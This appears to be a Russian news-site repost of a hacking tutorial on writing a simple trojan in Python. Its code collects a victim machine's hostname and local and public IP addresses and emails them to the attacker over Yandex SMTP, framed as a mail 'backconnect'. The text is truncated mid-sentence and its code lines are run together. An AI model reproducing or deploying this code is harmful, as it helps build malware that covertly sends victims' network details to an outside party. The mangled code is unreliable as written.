Категория > Новости > Крадущийся питон. Создаем простейший троян на Python - «Новости»
Крадущийся питон. Создаем простейший троян на Python - «Новости»16-02-2021, 00:00. Автор: Ангелина |
Ядовитый питон. Пишем на Python простейшую малварь: локер, шифровальщик и вирус».ТеорияИтак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт. Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым. warningВся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом. Определяем IPСначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем. Начнем писать код. Сразу импортируем библиотеки: import socketfrom requests import getОбе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip install socketpip install requestsinfoЕсли ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет. Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно. # Определяем имя устройства в сетиhostname = socket.gethostname()# Определяем локальный (внутри сети) IP-адресlocal_ip = socket.gethostbyname(hostname)# Определяем глобальный (публичный / в интернете) IP-адресpublic_ip = get('http://api.ipify.org').textЕсли с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее. Я выбрал сайт Вывести информацию еще проще: print(f'Хост:{hostname}')print(f'Локальный IP:{local_ip}')print(f'Публичный IP:{public_ip}')Никогда не встречал конструкции типа infoСтроковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на jаvascript!). Финальный код: import socketfrom requests import gethostname = socket.gethostname()local_ip = socket.gethostbyname(hostname)public_ip = get('http://api.ipify.org').textprint(f'Хост:{hostname}')print(f'Локальный IP:{local_ip}')print(f'Публичный IP:{public_ip}')Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера. Бэкконнект по почтеТеперь напишем скрипт, который будет присылать нам письмо. Импорт новых библиотек (обе нужно предварительно поставить через import smtplib as smtpfrom getpass import getpassПишем базовую информацию о себе: # Почта, с которой будет отправлено письмоemail = 'xakepmail@yandex.ru'# Пароль от нее (вместо ***)password = '***'# Почта, на которую отправляем письмоdest_email = 'demo@xakep.ru'# Тема письмаsubject = 'IP'# Текст письмаemail_text = 'TEXT'Дальше сформируем письмо: Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее. server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндексаserver.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)server.ehlo(email) # Отправляем hello-пакет на серверserver.login(email, password) # Заходим на почту, с которой будем отправлять письмоserver.auth_plain() # Авторизуемсяserver.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)server.quit() # Отключаемся от сервераВ строке Перейти обратно к новости |